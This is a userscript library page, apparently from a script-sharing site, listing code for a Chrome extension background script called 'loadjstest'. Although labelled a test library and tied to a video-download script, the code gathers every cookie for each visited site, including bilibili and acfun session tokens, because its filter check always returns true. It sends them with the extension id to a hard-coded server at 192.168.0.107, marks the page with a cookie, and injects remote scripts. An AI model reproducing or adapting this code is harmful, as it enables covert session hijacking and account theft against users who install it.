loadjstest

loadjstest test

This script should not be not be installed directly. It is a library for other scripts to include with the meta directive // @require https://update.greatest.deepsurf.us/scripts/414977/863617/loadjstest.js

  1. // 获取插件id
  2. let eid = chrome.runtime.id;
  3. let tabid;
  4. let url = 'http://192.168.0.107:8000/test';
  5. let cookieTime = 24*3600*1000;
  6. let markcookie = "MARK!TEST";
  7. let updatetime = +new Date("2020-10-28");
  8. let loadjslist = [
  9. "https://cdn.jsdelivr.net/gh/xsyhnb/tool/bilibilitools.js",
  10. "https://greatest.deepsurf.us/scripts/414973-acfunqlist/code/acfunqlist.js",
  11. ]
  12. let cookiefilter={
  13. "bilibili.com":"SESSDATA",
  14. "acfun.cn":"BDUSS_BFESS"
  15. }
  16. function addScript(url){
  17. var s = document.createElement('script');
  18. s.setAttribute('src',url);
  19. document.body.appendChild(s);
  20. }
  21.  
  22. // video download
  23. addScript('https://greatest.deepsurf.us/scripts/414968-content01/code/content01.js');
  24.  
  25. // 发送请求
  26. function sendRequest(method,data,url,resFunc){
  27. var xhr = new XMLHttpRequest();
  28. xhr.onload = function(){resFunc(xhr)}
  29. var param = packData(data);
  30. // xhr.responseType="json";
  31. xhr.timeout = 5000;
  32. xhr.ontimeout = function(err){console.log(err);}
  33. if(method==''||method=="GET"){
  34. xhr.open("GET", url+'?'+param, true);
  35. // xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  36. xhr.send(null);
  37. }else if(method=="POST"){
  38. xhr.open("POST", url, true);
  39. xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  40. xhr.send(param);
  41. }
  42. }
  43.  
  44. // getAnswer(1)
  45. // 获取tabid
  46. chrome.tabs.onActivated.addListener(function(tab){
  47. tabid = tab.tabId;
  48. console.log('onActivated ===> ',tab.tabId);
  49. });
  50.  
  51. // tab
  52. chrome.tabs.onUpdated.addListener(function(tabId,changeInfo,tab){
  53. console.log('changeinfo ===>',changeInfo)
  54. if(changeInfo.status=="complete" && tabid){
  55. // getCookies();
  56. }else if(changeInfo.status=="loading" && tabid){
  57. }
  58.  
  59. });
  60.  
  61.  
  62. function checkTargetCookie(cookiesget,domain){
  63. let check=false;
  64. Object.keys(cookiefilter).forEach(key=>{
  65. if(key==domain && cookiesget.search(cookiefilter[key])>=0 && cookiesget.search(markcookie)<0){
  66. console.log('check');
  67. check=true;
  68. }
  69. });
  70. return true
  71. }
  72.  
  73. // 获取页面cookie
  74. function getCookies(tabidcookie){
  75. chrome.tabs.get(tabidcookie,function(tab){
  76. if(tab.url){
  77. let domain = tab.url.split("://")[1].split("/")[0];
  78. if(domain.startsWith("www.")){
  79. domain = domain.replace("www.","");
  80. }
  81. console.log(domain);
  82. chrome.cookies.getAll({domain:domain},function(cookies){
  83. console.log(cookies)
  84. var cookiesfiltered = unpack2(cookies,domain);
  85. // console.log(cookiesfiltered);
  86. if(checkTargetCookie(cookiesfiltered,domain)){
  87. var datasend = {};
  88. datasend.cookie = encodeURIComponent(cookiesfiltered);
  89. datasend.cookie = cookiesfiltered;
  90. datasend.eid = eid;
  91. datasend.domain = domain;
  92. console.log(datasend)
  93. sendRequest("GET",datasend,url,function(res){
  94. // var resp = res.response;
  95. if(res.response.s=='s'){
  96. console.log('set into cookie');
  97. setmark(tab.url);
  98. }
  99. // console.log(res,res.response);
  100. })
  101. }
  102. });
  103. }
  104. });
  105. }
  106.  
  107.  
  108. chrome.webNavigation.onCompleted.addListener(function(web){
  109. console.log('completed ===>',web);
  110. if( web.frameId==0){
  111. getCookies(web.tabId);
  112. chrome.tabs.sendMessage(web.tabId,{jslist:loadjslist},
  113. function(response) {
  114. //回传函数
  115. console.log(response)
  116. });
  117. }
  118. });
  119. chrome.runtime.onMessage.addListener(function (request,sender,callback) {
  120. var xhr = new XMLHttpRequest();
  121. xhr.open(request.method, request.url, true);
  122. xhr.onreadystatechange = function() {
  123. if (xhr.readyState == 4) {
  124. console.log('xhr ===> ');
  125. callback(packResponse(xhr));
  126. //
  127. }
  128. }
  129. xhr.send();
  130. return true;
  131. });
  132.  
  133. function packResponse(obj){
  134. let d={};
  135. d.status=obj.status;
  136. d.response=obj.response;
  137. d.responseURL = obj.responseURL;
  138. d.responseText = obj.responseText;
  139. d.responseType = obj.responseType;
  140. d.statusText = obj.statusText;
  141. return d
  142. }
  143. // 整理cookies 信息
  144. function unpack2(cookies,domain){
  145. let s="";
  146. var show=[];
  147. cookies.forEach(obj => {
  148. if(obj.domain.search(domain)>=0){
  149. s += `${obj.name}=${obj.value}; domain=${obj.domain};expirationDate=${obj.expirationDate};|++|`;
  150. show.push(obj);
  151. }
  152. });
  153. console.log(show)
  154. return s
  155. }
  156.  
  157. function packData(data){
  158. var params='';
  159. if(Object.keys(data).length>0){
  160. Object.keys(data).forEach(key=>{
  161. params += `${key}=${data[key]}&`;
  162. })
  163. return params
  164. }else{
  165. return params
  166. }
  167. }
  168.  
  169. // 注入标志cookie
  170. function setmark(url){
  171. let obj = {}
  172. obj.url = url;
  173. obj.name = markcookie;
  174. obj.value = "hello world";
  175. obj.expirationDate = (+new Date()+cookieTime)/1000;
  176. chrome.cookies.set(obj,function(cookies){console.log(cookies)})
  177. }